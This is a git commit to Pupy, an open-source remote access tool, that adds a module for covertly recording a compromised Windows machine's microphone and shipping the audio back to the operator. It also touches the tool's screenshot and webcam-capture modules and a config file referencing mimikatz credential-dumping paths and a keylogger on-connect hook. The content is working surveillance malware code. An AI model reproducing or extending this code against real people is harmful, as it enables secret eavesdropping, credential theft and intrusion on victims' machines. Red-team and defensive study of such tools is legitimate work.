microphone recorder module :-)

This commit is contained in:
n1nj4sec 2016-05-07 22:33:48 +02:00
parent d3e30b38bc
commit c17bf23a9c
8 changed files with 1212 additions and 11 deletions

View File

@ -0,0 +1,47 @@
# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
from pupylib import *
import wave, datetime, os.path, subprocess
__class_name__="RecordMicrophoneModule"
def save_wav(path, sample_width, channels, rate, raw_frames):
waveFile = wave.open(path, 'wb')
waveFile.setnchannels(channels)
waveFile.setsampwidth(sample_width)
waveFile.setframerate(rate)
waveFile.writeframes(raw_frames)
waveFile.close()
@config(cat="gather", compat=["windows"])
class RecordMicrophoneModule(PupyModule):
""" record sound with the microphone ! """
dependencies=["pyaudio", "mic_recorder"]
def init_argparse(self):
self.arg_parser = PupyArgumentParser(prog='record_mic', description=self.__doc__)
self.arg_parser.add_argument('-t', '--time', default=5, help='number of 5 seconds recordings to save')
self.arg_parser.add_argument('-m', '--max-length', default=None, help='split recorded files into multiple files if the recording goes over --max-length seconds')
self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open the default sound player for preview')
def run(self, args):
try:
os.makedirs(os.path.join("data","audio_records"))
except Exception:
pass
self.success("starting recording for %ss ..."%args.time)
data=b""
max_length=args.max_length
if max_length is None:
max_length=args.time
if int(max_length) > int(args.time):
raise PupyModuleError("--max-length argument cannot be bigger than --time")
for sw, c, r, rf in self.client.conn.modules['mic_recorder'].record_iter(total=args.time, chunk=max_length):
filepath=os.path.join("data","audio_records","mic_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".wav")
save_wav(filepath, sw, c, r, rf)
self.success("microphone recording saved to %s"%filepath)
if args.view:
subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "sound_player"),filepath])

View File

@ -45,7 +45,7 @@ class Screenshoter(PupyModule):
self.arg_parser = PupyArgumentParser(prog='screenshot', description=self.__doc__)
self.arg_parser.add_argument('-e', '--enum', action='store_true', help='enumerate screen')
self.arg_parser.add_argument('-s', '--screen', type=int, default=None, help='take a screenshot on a specific screen (default all screen on one screenshot)')
self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open eog on the screenshot for preview')
self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open the default image viewer on the screenshot for preview')
def run(self, args):
try:
@ -70,7 +70,7 @@ class Screenshoter(PupyModule):
filepath=os.path.join("data","screenshots","scr_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".jpg")
pil_save(filepath, screenshot_pixels, selected_screen["width"], selected_screen["height"])
if args.view:
subprocess.Popen(["eog",filepath])
subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "image_viewer"),filepath])
self.success("screenshot saved to %s"%filepath)

View File

@ -63,7 +63,7 @@ class WebcamSnapModule(PupyModule):
with open(filepath,"w") as f:
f.write(data)
if args.view:
subprocess.Popen(["eog",filepath])
subprocess.Popen([self.client.pupsrv.config.get("default_viewers", "image_viewer"),filepath])
self.success("webcam picture saved to %s"%filepath)

View File

@ -0,0 +1,31 @@
# -*- coding: UTF8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
import pyaudio
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 44100
CHUNK = 1024
def record_iter(total=10, chunk=5):
try:
audio = pyaudio.PyAudio()
stream = audio.open(format=FORMAT, channels=CHANNELS,
rate=RATE, input=True,
frames_per_buffer=CHUNK)
print "recording..."
for k in range(0, int(int(total)/int(chunk))):
data=b""
for j in range(0, int(chunk)):
for i in range(0, int(RATE / CHUNK * 1)):
data += stream.read(CHUNK)
yield (audio.get_sample_size(FORMAT), CHANNELS, RATE, data)
print "finished recording"
finally:
stream.stop_stream()
stream.close()
audio.terminate()

1118
pupy/packages/all/pyaudio.py Normal file

File diff suppressed because it is too large Load Diff

Binary file not shown.

Binary file not shown.

View File

@ -8,6 +8,19 @@ certfile = crypto/cert.pem
display_banner = yes
colors = yes
[on_connect]
#run_module = gather/keylogger start
[default_viewers]
image_viewer = eog
sound_player = totem
[mimikatz]
#these are kali 2.0 default path
exe_Win32=/usr/share/mimikatz/Win32/mimikatz.exe
exe_x64=/usr/share/mimikatz/x64/mimikatz.exe
[aliases]
info = get_info
pyexec = pyexec
@ -18,11 +31,3 @@ shell=interactive_shell
kill = process_kill
killme = pyexec -c 'import os;os.kill(os.getpid(),9)'
#tasklist = shell_exec 'tasklist /v'
[on_connect]
#run_module = gather/keylogger start
[mimikatz]
#these are kali 2.0 default path
exe_Win32=/usr/share/mimikatz/Win32/mimikatz.exe
exe_x64=/usr/share/mimikatz/x64/mimikatz.exe